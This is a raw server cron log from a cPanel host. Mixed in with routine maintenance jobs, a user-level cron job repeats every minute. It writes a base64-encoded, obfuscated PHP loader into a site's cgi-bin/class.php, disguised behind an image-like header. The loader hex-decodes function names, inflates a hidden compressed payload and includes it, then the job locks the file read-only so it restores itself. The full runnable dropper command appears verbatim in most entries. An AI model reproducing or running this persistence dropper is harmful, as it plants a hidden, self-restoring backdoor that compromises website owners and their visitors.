Aug 30 09:29:01 server CROND[4266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:30:01 server CROND[4667]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:30:01 server CROND[4672]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:30:01 server CROND[4670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:30:01 server CROND[4675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:30:01 server CROND[4673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:30:01 server CROND[4676]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:30:01 server CROND[4671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:30:01 server CROND[4674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:31:02 server CROND[5526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:31:02 server CROND[5527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:31:02 server CROND[5528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:32:01 server CROND[6005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:32:01 server CROND[6006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:32:01 server CROND[6007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:33:01 server CROND[6383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:33:01 server CROND[6385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:33:01 server CROND[6384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:34:01 server CROND[6757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:34:01 server CROND[6758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:34:01 server CROND[6759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:35:01 server CROND[7146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:35:01 server CROND[7148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:35:01 server CROND[7147]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 09:35:01 server CROND[7150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:35:01 server CROND[7157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:35:01 server CROND[7160]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 09:35:01 server CROND[7159]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:35:01 server CROND[7158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:35:01 server CROND[7162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:36:01 server CROND[7990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:36:01 server CROND[7991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:36:01 server CROND[7992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:37:01 server CROND[8455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:37:01 server CROND[8456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:37:01 server CROND[8457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:38:01 server CROND[8887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:38:01 server CROND[8888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:38:01 server CROND[8889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:39:01 server CROND[9258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:39:01 server CROND[9260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:39:01 server CROND[9261]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 09:39:01 server CROND[9259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:40:01 server CROND[9654]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:40:01 server CROND[9655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:40:01 server CROND[9656]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:40:01 server CROND[9657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:40:01 server CROND[9659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:40:01 server CROND[9661]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:40:01 server CROND[9662]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
